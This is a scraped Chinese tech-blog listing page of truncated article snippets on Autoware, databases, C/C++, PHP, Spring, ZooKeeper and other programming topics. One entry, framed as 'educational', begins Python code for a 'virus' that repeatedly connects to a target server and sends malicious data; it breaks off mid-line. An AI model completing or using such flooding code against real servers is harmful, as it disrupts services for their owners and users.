- Autoware平台架构及设计
星火(star&fire)
autosar自动驾驶apolloApollo自动驾驶
官网:https://autoware.org/autoware-overview/gitlab仓库:https://github.com/autowarefoundation/autowaregithub仓库:https://github.com/autowarefoundation/autoware.universeAutowareAutoware是一个自动驾驶开发平台,由Apex.AI开发和
- 17-7 向量数据库之野望7 - PostgreSQL 和pgvector
拉达曼迪斯II
AIGC学习数据库管理工具AI创业数据库postgresql人工智能机器学习AIGC搜索引擎
PostgreSQL是一款功能强大的开源对象关系数据库系统,它已将其功能扩展到传统数据管理之外,通过pgvector扩展支持矢量数据。这一新增功能满足了对高效处理高维矢量数据日益增长的需求,这些数据通常用于机器学习、自然语言处理(NLP)和推荐系统等应用。https://github.com/mazzasaverio/find-your-opensource-project什么是pgvector?
- Fluss安装体验
WYRM_GOLD
flussflinkbigdatazookeeperkafka
1、zookeeper安装笔者下载的是fluss0.5版本,当前fluss0.5版本需要依赖zookeeper服务。1.1下载zk下载地址:https://mirrors.aliyun.com/apache/zookeeper/zookeeper-3.8.4/apache-zookeeper-3.8.4-bin.tar.gz1.1.1zk集群规划node1192.168.40.1node2192.
- C语言期末必练题目——part 2
Kylin524
C语言期末c语言算法c++
读程序基本输入输出及流程控制1.#includemain(){inta=1,b=3,c=5;if(c==a+b)printf("yes\n");elseprintf("no\n");}运行结果为:no详见教材p89选择结构详见教材p91关系符号详见附录Dp378符号的优先级==表示判断符号两边的值是否相等;=表示将符号右边的值赋给左边的变量本题考点是选择结构3种基本形式的第二种选择结构三种一般形式
- 21天学通C++——11多态(引入多态的目的)
不想睡觉_
QT客户端学习路线c++开发语言
多态:利用不同类似的方法处理不同类似的对象笔记原因:既然继承可以进行基类的方法覆盖,为什么还要引入多态呢?解释原因:继承classBase{public:voidfunc(){std::coutfunc();return0;}结果为Base::func()引入多态(Virtual)classBase{public:virtualvoidfunc(){std::coutfunc();return0;
- 如何攻击一个服务器(仅用于教育及娱乐实验目的)
vliu612
服务器
importsocketimportosdefcreate_virus():#创建一个简单的病毒脚本,它会不断尝试连接目标服务器并发送恶意数据virus_code="""importsocketimporttimeimportthreadingdefattack_server(ip,port):whileTrue:try:s=socket.socket(socket.AF_INET,socket.
- python matplotlib legend()参数详解
请一直在路上
pythonmatplotlib开发语言
在Python的Matplotlib库中,legend函数用于添加图例,帮助解释图表中不同数据系列或数据点的含义。legend函数有很多参数,可以自定义图例的各个方面,从位置到样式,从字体大小到边框。下面是一些常用参数的详细解释:importmatplotlib.pyplotasplt#创建一些数据x=[1,2,3,4]y1=[1,4,9,16]y2=[1,2,3,4]#绘制数据plt.plot(
- PHP常用函数总结(180多个)
Jim仔
PHPphp函数基础
PHP常用函数总结转载自:http://blog.csdn.net/lzuacm数学函数1.abs():求绝对值$abs=abs(-4.2);//4.211输入:数字输出:绝对值数字2.ceil():进一法取整echoceil(9.999);//1011输出:浮点数进一取整3.floor():去尾法取整echofloor(9.999);//911输出:浮点数直接舍去小数部分4.fmod():浮点数
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大雨淅淅
人工智能pytorch人工智能python深度学习机器学习
目录一、框架简介二、核心功能三、学习环境配置四、学习资源五、实践与应用六、常见问题与解决方案七、深入理解强化学习概念八、构建自己的强化学习环境九、调试与优化十、参与社区与持续学习一、框架简介PyTorch-RL是一个基于PyTorch框架的深度强化学习项目。它充分利用了PyTorch的强大功能,提供了易于使用且高效的深度强化学习算法实现。该项目的主要编程语言是Python,旨在帮助开发者快速实现和
- 一个产品从开发到上线需要几个步骤
yqcoder
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一、需求分析与规划1.需求收集与客户、市场团队、用户等进行沟通,收集对产品的功能、性能、外观、用户体验等方面的需求。可以通过问卷调查、用户访谈、竞品分析等方式获取需求信息。2.需求分析对收集到的需求进行详细分析,明确需求的优先级、可行性和相互关系。分析过程中要考虑技术实现难度、成本、时间等因素,确保需求合理且可实现。3.产品规划根据需求分析结果,制定产品的整体规划,包括产品的定位、目标用户群体、功
- 基于单片机的智能家居控制系统设计及应用
电气_空空
单片机毕业设计单片机智能家居嵌入式硬件毕业设计毕设
摘要:智能家居控制系统包括对家电实现远距离控制和近距离控制的一种控制型系统,通过系统内的TC35模块对控制信息进行采集,并将这些控制信息发送到STC89C52模块中去,由单片机发出系统控制指令,从而实现家居家电的控制。关键词:单片机;智能家居;家居生活;控制系统0引言21世纪我国进入了科技高速发展的时期,我国民众的生活质量也得到了显著的增强,民众对生活质量也有了更高的标准,智能化和人性化的科技产品
- 常用拉普拉斯变换及其性质和证明
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1.基本函数的拉普拉斯变换原函数f(t)f(t)f(t)拉普拉斯变换F(s)F(s)F(s)定义域1111s\frac{1}{s}s1s>0s>0s>0ttt1s2\frac{1}{s^2}s21s>0s>0s>0tn(n为整数)t^n\(n\text{为整数})tn(n为整数)n!sn+1\frac{n!}{s^{n+1}}sn+1n!s>0s>0s>0eate^{at}eat1s−a\frac
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Zoom是一款功能强大的视频会议软件,广泛用于远程工作、在线教育、虚拟会议等场景。本教程将详细介绍如何使用Zoom进行会议的创建、加入、管理以及各种高级功能的设置和应用。第一部分:准备工作和基本概述1.1下载和安装Zoom首先,你需要下载并安装Zoom客户端或移动应用程序。Zoom支持多种操作系统,包括Windows、MacOS、iOS和Android。访问Zoom官网(zoom.us)或者你的应
- Prometheus Alertmanager设置与告警规则配置详解
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PrometheusAlertmanager设置与告警规则配置详解Prometheus是一个开源的监控和告警系统,其设计理念是通过时间序列数据库存储指标数据,并通过多维数据模型和查询语言进行数据分析。Prometheus的告警系统由两部分组成:Prometheus服务器本身和Alertmanager。Alertmanager负责接收来自Prometheus的告警,执行通知的分发、抑制和聚合。本文将
- Linux离线安装docker(arm64架构cpu)极速版
gallonyin
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之前写过x86版本的快速docker安装部署,现在遇到arm64等架构cpu不适用,主要是因为安装包不通用,因此有这篇文章。cpu测试可以支持鲲鹏cpu或interlarm版本离线安装docker,10分钟极速搞定!亲测适用于CentOS8及其衍生版本。官网下载从官网中选择相应的版本,我选择了最新的包,在联网的环境下载到本地备用https://download.docker.com/linux/s
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引言在现代Java开发中,Spring框架已经成为了构建企业级应用的标准工具之一。Spring的核心特性之一就是依赖注入(DependencyInjection,DI),它通过将对象的依赖关系从代码中解耦出来,提升了代码的可维护性和可测试性。特别是在大型项目中,良好的依赖管理能够显著降低代码的复杂度,提高开发效率。依赖注入的基本概念依赖注入是一种设计模式,用于实现控制反转(InversionofC
- TCP协议RFC文档
二进制程序猿
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最近因为需要学习重温TCP协议设计的相关问题,重读了设计RFC的相关文档,感觉受益颇多。这里将一些我们常用的TCP协议RFC文档列表如下:RFC793TCP标准最初的TCP标准定义,但不包括TCP相关操作细节RFC813TCP窗口与确认策略讨论窗口确认机制,以及描述了在使用该机制存在的问题及解决方法RFC879TCP最大分段大小及相关主题讨论MSS参数在控制TCP分组大小的重要性,以及该参数与IP
- 图像生成大模型:Imagen 详解
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近年来,图像生成技术取得了显著进展,推动了计算机视觉和生成对抗网络(GAN)等领域的发展。Imagen是一个新兴的图像生成大模型,其在生成高质量、逼真图像方面表现出色。本文将详细讲解Imagen的基本原理、架构、训练流程及应用场景。1.Imagen的基本原理1.1什么是Imagen?Imagen是一种基于深度学习的图像生成模型,结合了自注意力机制(Self-attentionMechanism)和
- 商城项目测试用例设计实战
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文章目录项目介绍模块测试用例实现步骤1注册模块1需求分析2提取测试点项目介绍注册模块登录模块搜索模块购物车模块订单模块模块测试用例实现步骤需求分析测试点提取用例编写用例执行缺陷管理1注册模块1需求分析查看查看需求文档原型图2提取测试点可以从ui布局和功能考虑
- 【python基础】python GIL(全局解释器锁) 和 多线程锁
shengnan_wsn
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文章目录什么是GIL?有了GIL还需要线程锁吗?参考资料1:[终于有人把GIL全局解释器说清楚了](https://zhuanlan.zhihu.com/p/311877485)2:[浅谈Python多线程之GIL描述](https://blog.csdn.net/qq_34359754/article/details/115209158)3:[多线程锁机制](https://www.cnblog
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顾老师不懂代码
软件工程导论第6版软件工程面向对象方法学引论对象模型动态模型功能模型
本专栏是博主个人笔记,主要目的是利用碎片化的时间来记忆软工知识点,特此声明!文章目录1.当前最好的软件开发技术是?2.面向对象的原则是什么?3.人们把客观世界中的实体抽象为什么?4.软件系统本质上是?5.面向对象方法学的优点?6.对象的定义是什么?7.对象的特点有哪些?8.类的定义是什么?9.实例是什么?10.属性是什么?11.封装是什么?12.继承是什么?13.重载和重写的区别有哪些?14.使用
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【WRF后处理】基于NCL处理wrf运行结果wrfout_d01NCL概述wrf-python和NCL总结WRF后处理数据信息查看诊断变量的获取插值参考NCL概述NCARCommandLanguage(NCL)是由美国大气研究中心(NCAR)推出的一款用于科学数据计算和可视化的免费软件。它有着非常强大的文件输入和输出功能,可读写netCDF-3、netCDF-4classic、HDF4、binar
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目录前言毕设选题开题指导建议更多精选选题选题帮助最后前言大家好,这里是海浪学长毕设专题!大四是整个大学期间最忙碌的时光,一边要忙着准备考研、考公、考教资或者实习为毕业后面临的升学就业做准备,一边要为毕业设计耗费大量精力。学长给大家整理了软件工程专业最新精选选题,如遇选题困难或选题有任何疑问,都可以问学长哦(见文末)!对毕设有任何疑问都可以问学长哦!更多选题指导:最新最全计算机专业毕设选题精选推荐汇
- 像素空间文生图之Imagen原理详解
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AI算法ImagenstablediffusionAIGC
论文:PhotorealisticText-to-ImageDiffusionModelswithDeepLanguageUnderstanding项目地址:https://imagen.research.google/代码(非官方):https://github.com/deep-floyd/IF模型权重:https://huggingface.co/DeepFloyd/IF-I-XL-v1.0
- 使用 electron-builder 构建一个 Electron 应用程序
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- 【Javascript Day11】数组的内置方法、添加获取、元素查询及练习、排序方法数组的内置方法
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数组的内置方法//js语法中所有的数据类型都是从对象演变而来的varstr="abc";console.log(typeofstr,str.constructor);//stringconsole.log(typeofstr=="string");varuser={};console.log(typeofuser,user.constructor);vararr=[1,2];console.log
- Python在WRF模型自动化运行及前后处理中实践技术应用
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Python在WRF(WeatherResearchandForecasting)模型自动化运行及前后处理中的实践技术应用如下:自动化运行WRF模型:使用Python脚本可以自动化执行WRF模型的运行过程。通过编写脚本来调用WRF模型的输入文件、运行模型并收集输出结果。这样可以在短时间内运行多个模拟,提高工作效率。数据预处理:在运行WRF模型之前,需要进行数据预处理,包括数据格式转换、坐标转换、数
- Java全栈项目 - 校园跑腿服务系统
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项目介绍校园跑腿服务系统是一个面向高校师生的互助平台,旨在解决校园内取快递、买饭、打印等日常跑腿需求。系统采用前后端分离架构,基于SpringBoot+Vue实现。技术栈后端SpringBoot2.xSpringSecurityMyBatisPlusMySQL8.0RedisRabbitMQJWT前端Vue2.xElementUIAxiosVuexVueRouter核心功能1.用户模块注册/登录实
- 硬盘图标修改器,自定义电脑硬盘图标
Ag大雨
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今天发现了一个很有趣的小工具,还是来自我们的吾爱大佬硬盘图标修改器他可以修改电脑硬盘的图标LOGO,可以自定义,只要图标是ico格式的就可以,操作简单,选择自己的要换的盘符然后浏览找到要换图标ico,点去确定就行了,修改的时候建议把ico文件放在一个地方保存起来,因为修改后系统会占用这个ico图标,删除后可能会导致不显示。非常的有趣好玩,同时我搜集了一些ico图片,足足81个,需要的小伙伴快快下载
- mysql主从数据同步
林鹤霄
mysql主从数据同步
配置mysql5.5主从服务器(转)
教程开始:一、安装MySQL
说明:在两台MySQL服务器192.168.21.169和192.168.21.168上分别进行如下操作,安装MySQL 5.5.22
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- oracle学习笔记
caoyong
oracle
1、ORACLE的安装
a>、ORACLE的版本
8i,9i : i是internet
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12c : cloud (云计算)
b>、10g不支持win7
&
- 数据库,SQL零基础入门
天子之骄
sql数据库入门基本术语
数据库,SQL零基础入门
做网站肯定离不开数据库,本人之前没怎么具体接触SQL,这几天起早贪黑得各种入门,恶补脑洞。一些具体的知识点,可以让小白不再迷茫的术语,拿来与大家分享。
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- pom.xml
一炮送你回车库
pom.xml
1、一级元素dependencies是可以被子项目继承的
2、一级元素dependencyManagement是定义该项目群里jar包版本号的,通常和一级元素properties一起使用,既然有继承,也肯定有一级元素modules来定义子元素
3、父项目里的一级元素<modules>
<module>lcas-admin-war</module>
<
- sql查地区省市县
3213213333332132
sqlmysql
-- db_yhm_city
SELECT * FROM db_yhm_city WHERE class_parent_id = 1 -- 海南 class_id = 9 港、奥、台 class_id = 33、34、35
SELECT * FROM db_yhm_city WHERE class_parent_id =169
SELECT d1.cla
- 关于监听器那些让人头疼的事
宝剑锋梅花香
画图板监听器鼠标监听器
本人初学JAVA,对于界面开发我只能说有点蛋疼,用JAVA来做界面的话确实需要一定的耐心(不使用插件,就算使用插件的话也没好多少)既然Java提供了界面开发,老师又要求做,只能硬着头皮上啦。但是监听器还真是个难懂的地方,我是上了几次课才略微搞懂了些。
- JAVA的遍历MAP
darkranger
map
Java Map遍历方式的选择
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对于Java中Map的遍历方式,很多文章都推荐使用entrySet,认为其比keySet的效率高很多。理由是:entrySet方法一次拿到所有key和value的集合;而keySet拿到的只是key的集合,针对每个key,都要去Map中额外查找一次value,从而降低了总体效率。那么实际情况如何呢?
为了解遍历性能的真实差距,包括在遍历ke
- POJ 2312 Battle City 优先多列+bfs
aijuans
搜索
来源:http://poj.org/problem?id=2312
题意:题目背景就是小时候玩的坦克大战,求从起点到终点最少需要多少步。已知S和R是不能走得,E是空的,可以走,B是砖,只有打掉后才可以通过。
思路:很容易看出来这是一道广搜的题目,但是因为走E和走B所需要的时间不一样,因此不能用普通的队列存点。因为对于走B来说,要先打掉砖才能通过,所以我们可以理解为走B需要两步,而走E是指需要1
- Hibernate与Jpa的关系,终于弄懂
avords
javaHibernate数据库jpa
我知道Jpa是一种规范,而Hibernate是它的一种实现。除了Hibernate,还有EclipseLink(曾经的toplink),OpenJPA等可供选择,所以使用Jpa的一个好处是,可以更换实现而不必改动太多代码。
在play中定义Model时,使用的是jpa的annotations,比如javax.persistence.Entity, Table, Column, OneToMany
- 酸爽的console.log
bee1314
console
在前端的开发中,console.log那是开发必备啊,简直直观。通过写小函数,组合大功能。更容易测试。但是在打版本时,就要删除console.log,打完版本进入开发状态又要添加,真不够爽。重复劳动太多。所以可以做些简单地封装,方便开发和上线。
/**
* log.js hufeng
* The safe wrapper for `console.xxx` functions
*
- 哈佛教授:穷人和过于忙碌的人有一个共同思维特质
bijian1013
时间管理励志人生穷人过于忙碌
一个跨学科团队今年完成了一项对资源稀缺状况下人的思维方式的研究,结论是:穷人和过于忙碌的人有一个共同思维特质,即注意力被稀缺资源过分占据,引起认知和判断力的全面下降。这项研究是心理学、行为经济学和政策研究学者协作的典范。
这个研究源于穆来纳森对自己拖延症的憎恨。他7岁从印度移民美国,很快就如鱼得水,哈佛毕业
- other operate
征客丶
OSosx
一、Mac Finder 设置排序方式,预览栏 在显示-》查看显示选项中
二、有时预览显示时,卡死在那,有可能是一些临时文件夹被删除了,如:/private/tmp[有待验证]
--------------------------------------------------------------------
若有其他凝问或文中有错误,请及时向我指出,
我好及时改正,同时也让我们一
- 【Scala五】分析Spark源代码总结的Scala语法三
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1. If语句作为表达式
val properties = if (jobIdToActiveJob.contains(jobId)) {
jobIdToActiveJob(stage.jobId).properties
} else {
// this stage will be assigned to "default" po
- ZooKeeper 入门
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中间件zk
ZooKeeper是一个高可用的分布式数据管理与系统协调框架。基于对Paxos算法的实现,使该框架保证了分布式环境中数据的强一致性,也正是基于这样的特性,使得ZooKeeper解决很多分布式问题。网上对ZK的应用场景也有不少介绍,本文将结合作者身边的项目例子,系统地对ZK的应用场景进行一个分门归类的介绍。
值得注意的是,ZK并非天生就是为这些应用场景设计的,都是后来众多开发者根据其框架的特性,利
- MySQL取得当前时间的函数是什么 格式化日期的函数是什么
BreakingBad
mysqlDate
取得当前时间用 now() 就行。
在数据库中格式化时间 用DATE_FORMA T(date, format) .
根据格式串format 格式化日期或日期和时间值date,返回结果串。
可用DATE_FORMAT( ) 来格式化DATE 或DATETIME 值,以便得到所希望的格式。根据format字符串格式化date值:
%S, %s 两位数字形式的秒( 00,01,
- 读《研磨设计模式》-代码笔记-组合模式
bylijinnan
java设计模式
声明: 本文只为方便我个人查阅和理解,详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/
import java.util.ArrayList;
import java.util.List;
abstract class Component {
public abstract void printStruct(Str
- 4_JAVA+Oracle面试题(有答案)
chenke
oracle
基础测试题
卷面上不能出现任何的涂写文字,所有的答案要求写在答题纸上,考卷不得带走。
选择题
1、 What will happen when you attempt to compile and run the following code? (3)
public class Static {
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}
st
- 新一代工作流系统设计目标
comsci
工作算法脚本
用户只需要给工作流系统制定若干个需求,流程系统根据需求,并结合事先输入的组织机构和权限结构,调用若干算法,在流程展示版面上面显示出系统自动生成的流程图,然后由用户根据实际情况对该流程图进行微调,直到满意为止,流程在运行过程中,系统和用户可以根据情况对流程进行实时的调整,包括拓扑结构的调整,权限的调整,内置脚本的调整。。。。。
在这个设计中,最难的地方是系统根据什么来生成流
- oracle 行链接与行迁移
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oracle行迁移
表里的一行对于一个数据块太大的情况有二种(一行在一个数据块里放不下)
第一种情况:
INSERT的时候,INSERT时候行的大小就超一个块的大小。Oracle把这行的数据存储在一连串的数据块里(Oracle Stores the data for the row in a chain of data blocks),这种情况称为行链接(Row Chain),一般不可避免(除非使用更大的数据
- [JShop]开源电子商务系统jshop的系统缓存实现
dinguangx
jshop电子商务
前言
jeeshop中通过SystemManager管理了大量的缓存数据,来提升系统的性能,但这些缓存数据全部都是存放于内存中的,无法满足特定场景的数据更新(如集群环境)。JShop对jeeshop的缓存机制进行了扩展,提供CacheProvider来辅助SystemManager管理这些缓存数据,通过CacheProvider,可以把缓存存放在内存,ehcache,redis,memcache
- 初三全学年难记忆单词
dcj3sjt126com
englishword
several 儿子;若干
shelf 架子
knowledge 知识;学问
librarian 图书管理员
abroad 到国外,在国外
surf 冲浪
wave 浪;波浪
twice 两次;两倍
describe 描写;叙述
especially 特别;尤其
attract 吸引
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competition 比赛;竞争
event 大事;事件
O
- sphinx实践
dcj3sjt126com
sphinx
安装参考地址:http://briansnelson.com/How_to_install_Sphinx_on_Centos_Server
yum install sphinx
如果失败的话使用下面的方式安装
wget http://sphinxsearch.com/files/sphinx-2.2.9-1.rhel6.x86_64.rpm
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- JPA之JPQL(三)
frank1234
ormjpaJPQL
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JPQL是Java Persistence Query Language的简称,可以看成是JPA中的HQL, JPQL支持各种复杂查询。
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- Remove Duplicates from Sorted Array II
hcx2013
remove
Follow up for "Remove Duplicates":What if duplicates are allowed at most twice?
For example,Given sorted array nums = [1,1,1,2,2,3],
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- Spring4新特性——Groovy Bean定义DSL
jinnianshilongnian
spring 4
Spring4新特性——泛型限定式依赖注入
Spring4新特性——核心容器的其他改进
Spring4新特性——Web开发的增强
Spring4新特性——集成Bean Validation 1.1(JSR-349)到SpringMVC
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- CentOS安装Mysql5.5
liuxingguome
centos
CentOS下以RPM方式安装MySQL5.5
首先卸载系统自带Mysql:
yum remove mysql mysql-server mysql-libs compat-mysql51
rm -rf /var/lib/mysql
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rpm -qa|grep mysql
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- 第14章 工具函数(下)
onestopweb
函数
index.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
- POJ 1050
SaraWon
二维数组子矩阵最大和
POJ ACM第1050题的详细描述,请参照
http://acm.pku.edu.cn/JudgeOnline/problem?id=1050
题目意思:
给定包含有正负整型的二维数组,找出所有子矩阵的和的最大值。
如二维数组
0 -2 -7 0
9 2 -6 2
-4 1 -4 1
-1 8 0 -2
中和最大的子矩阵是
9 2
-4 1
-1 8
且最大和是15
- [5]设计模式——单例模式
tsface
java单例设计模式虚拟机
单例模式:保证一个类仅有一个实例,并提供一个访问它的全局访问点
安全的单例模式:
/*
* @(#)Singleton.java 2014-8-1
*
* Copyright 2014 XXXX, Inc. All rights reserved.
*/
package com.fiberhome.singleton;
- Java8全新打造,英语学习supertool
yangshangchuan
javasuperword闭包java8函数式编程
superword是一个Java实现的英文单词分析软件,主要研究英语单词音近形似转化规律、前缀后缀规律、词之间的相似性规律等等。Clean code、Fluent style、Java8 feature: Lambdas, Streams and Functional-style Programming。
升学考试、工作求职、充电提高,都少不了英语的身影,英语对我们来说实在太重要